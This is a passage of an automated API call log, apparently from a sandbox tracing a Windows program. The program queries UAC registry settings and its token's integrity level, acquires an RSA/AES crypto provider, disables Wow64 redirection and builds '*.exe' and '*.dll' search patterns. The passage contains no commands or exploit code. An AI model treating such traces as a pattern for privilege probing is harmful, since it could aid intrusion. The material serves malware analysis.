lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0256.297] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d360 [0256.297] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c4c0 [0256.297] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0256.297] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c628 [0256.297] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c628) returned 1 [0256.297] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c628 [0256.297] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c628) returned 1 [0256.297] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c628 [0256.297] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c628) returned 1 [0256.297] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c628 [0256.297] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c628) returned 1 [0256.297] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c628 [0256.298] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c628) returned 1 [0256.298] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c628 [0256.298] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c628) returned 1 [0256.298] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c628 [0256.298] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c628) returned 1 [0256.298] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c628 [0256.298] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c628) returned 1 [0256.298] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c628 [0256.298] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.298] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d280) returned 1 [0256.298] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c2c8) returned 1 [0256.298] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d270) returned 1 [0256.298] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.298] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d290) returned 1 [0256.298] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1f0) returned 1 [0256.298] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d2a0) returned 1 [0256.298] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c238) returned 1 [0256.298] RegQueryValueExA (in: hKey=0x38, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0256.298] RegQueryValueExA (in: hKey=0x38, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x123c508, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x123c508*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0256.298] RegCloseKey (hKey=0x38) returned 0x0 [0256.298] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc14 | out: TokenHandle=0x18fc14*=0x38) returned 1 [0256.298] GetTokenInformation (in: TokenHandle=0x38, TokenInformationClass=0x14, TokenInformation=0x18fc10, TokenInformationLength=0x4, ReturnLength=0x18fc0c | out: TokenInformation=0x18fc10, ReturnLength=0x18fc0c) returned 1 [0256.298] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc00 | out: TokenHandle=0x18fc00*=0xc4) returned 1 [0256.298] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbfc | out: TokenInformation=0x0, ReturnLength=0x18fbfc) returned 0 [0256.298] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c628 [0256.298] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x19, TokenInformation=0x123c628, TokenInformationLength=0x14, ReturnLength=0x18fbfc | out: TokenInformation=0x123c628, ReturnLength=0x18fbfc) returned 1 [0256.298] GetSidSubAuthorityCount (pSid=0x123c630*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x123c631 [0256.299] GetSidSubAuthority (pSid=0x123c630*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x123c638 [0256.299] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c628) returned 1 [0256.299] NtClose (Handle=0xc4) returned 0x0 [0256.299] GetSystemInfo (in: lpSystemInfo=0x18fd48 | out: lpSystemInfo=0x18fd48*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x1, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0256.299] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x6c) returned 0x123b8e8 [0256.299] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c628 [0256.299] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xc4 [0256.299] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c508 [0256.299] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c4c0 [0256.299] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c5e0 [0256.299] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c598 [0256.299] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x5000) returned 0x8d0048 [0256.300] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c550 [0256.300] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c550) returned 1 [0256.300] CryptAcquireContextW (in: phProv=0x18fd5c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fd5c*=0x4d20c0) returned 1 [0256.315] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x8d0048) returned 1 [0256.315] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123b960 [0256.315] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123b9e8 [0256.315] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c550 [0256.315] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123ba70 [0256.315] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123baf8 [0256.315] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c478 [0256.315] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bb80 [0256.315] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c430 [0256.315] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x5000) returned 0x8d0048 [0256.315] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c3e8 [0256.315] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c3e8) returned 1 [0256.315] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0256.328] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x8d0048) returned 1 [0256.328] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x4ccd38, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0256.328] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c3e8 [0256.328] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x110 [0256.328] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c3e8) returned 1 [0256.328] GetLastError () returned 0x0 [0256.329] LocalFree (hMem=0x4ccd38) returned 0x0 [0256.329] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c3e8 [0256.329] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x5000) returned 0x8d0048 [0256.329] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c3a0 [0256.329] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c3a0) returned 1 [0256.329] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0256.331] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x8d0048) returned 1 [0256.331] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x4ccd38, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0256.331] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c3a0 [0256.331] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x114 [0256.331] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c3a0) returned 1 [0256.331] GetLastError () returned 0x0 [0256.331] LocalFree (hMem=0x4ccd38) returned 0x0 [0256.331] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c3a0 [0256.331] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x5000) returned 0x8d0048 [0256.331] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c358 [0256.331] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c358) returned 1 [0256.331] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0256.333] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x8d0048) returned 1 [0256.333] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x4ccd38, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0256.333] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c358 [0256.333] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0x118 [0256.333] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c358) returned 1 [0256.333] GetLastError () returned 0x0 [0256.333] LocalFree (hMem=0x4ccd38) returned 0x0 [0256.333] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x2800) returned 0x8d0048 [0256.333] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123bc08 [0256.333] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c358 [0256.333] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd8c | out: OldValue=0x18fd8c*=0x0) returned 1 [0256.333] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x2800) returned 0x8d2850 [0256.333] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.333] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.333] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x10) returned 0x123d670 [0256.333] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d360 [0256.333] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.333] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c280 [0256.333] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c280) returned 1 [0256.333] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.333] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d360) returned 1 [0256.333] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d670) returned 1 [0256.333] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x8d2850) returned 1 [0256.333] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x2800) returned 0x8d2850 [0256.333] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.333] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.333] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.333] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x10) returned 0x123d670 [0256.333] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d360 [0256.334] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c280 [0256.334] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.334] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d350 [0256.334] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.334] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x10) returned 0x123d688 [0256.334] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d340 [0256.334] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c238 [0256.334] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d330 [0256.334] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1f0 [0256.334] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c280) returned 1 [0256.334] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d360) returned 1 [0256.334] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.334] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d350) returned 1 [0256.334] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d670) returned 1 [0256.334] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.334] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.334] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.334] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.334] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x10) returned 0x123d670 [0256.334] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d350 [0256.334] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.334] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d360 [0256.334] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c280 [0256.334] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c238) returned 1 [0256.334] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d340) returned 1 [0256.334] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1f0) returned 1 [0256.334] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d330) returned 1 [0256.334] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d688) returned 1 [0256.334] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x10) returned 0x123d688 [0256.334] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d330 [0256.334] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1f0 [0256.334] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d340 [0256.334] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c238 [0256.334] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.334] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d350) returned 1 [0256.334] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c280) returned 1 [0256.334] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d360) returned 1 [0256.334] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d670) returned 1 [0256.335] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x10) returned 0x123d670 [0256.335] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d360 [0256.335] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c280 [0256.335] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d350 [0256.335] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.335] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1f0) returned 1 [0256.335] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d330) returned 1 [0256.335] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c238) returned 1 [0256.335] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d340) returned 1 [0256.335] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d688) returned 1 [0256.335] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x8d2850) returned 1 [0256.335] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x123c280, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0256.335] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123da58 [0256.335] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x123c280, cbMultiByte=5, lpWideCharStr=0x123da58, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0256.335] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123dae0 [0256.335] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123da58) returned 1 [0256.335] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x10) returned 0x123d688 [0256.335] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d340 [0256.335] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123da58 [0256.335] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123dae0) returned 1 [0256.335] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x123c310, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0256.335] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123dae0 [0256.335] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x123c310, cbMultiByte=5, lpWideCharStr=0x123dae0, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0256.335] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123db68 [0256.335] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123dae0) returned 1 [0256.335] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d330 [0256.335] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x123dae0 [0256.335] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123db68) returned 1 [0256.335] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c280) returned 1 [0256.335] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d360) returned 1 [0256.335] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.335] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d350) returned 1 [0256.335] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d670) returned 1 [0256.335] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x2800) returned 0x8d2850 [0256.335] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.336] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.336] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.336] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x10) returned 0x123d670 [0256.336] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d350 [0256.336] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c280 [0256.336] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.336] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.336] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d360 [0256.336] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c238 [0256.336] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.336] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.336] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d320 [0256.336] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1f0 [0256.336] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.336] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.336] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d310 [0256.336] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c1a8 [0256.336] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.336] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.336] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x20) returned 0x123bc90 [0256.336] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d670) returned 1 [0256.336] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d300 [0256.336] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c2c8 [0256.336] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.336] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.336] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d2f0 [0256.336] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c160 [0256.336] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c310) returned 1 [0256.336] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d2e0 [0256.336] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c310 [0256.336] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x20) returned 0x8d5058 [0256.336] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d2d0 [0256.336] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c670 [0256.336] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d2c0 [0256.336] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c6b8 [0256.336] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d2b0 [0256.336] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c700 [0256.337] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d2a0 [0256.337] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c748 [0256.337] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d290 [0256.337] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c790 [0256.337] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d270 [0256.337] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c7d8 [0256.337] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x8) returned 0x123d280 [0256.337] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x123c820 [0256.337] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c280) returned 1 [0256.337] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d350) returned 1 [0256.337] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c238) returned 1 [0256.337] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d360) returned 1 [0256.337] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1f0) returned 1 [0256.337] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d320) returned 1 [0256.337] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c1a8) returned 1 [0256.337] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d310) returned 1 [0256.337] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c2c8) returned 1 [0256.337] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123d300) returned 1 [0256.337] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x123c160) returned 1 [0256.337] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, 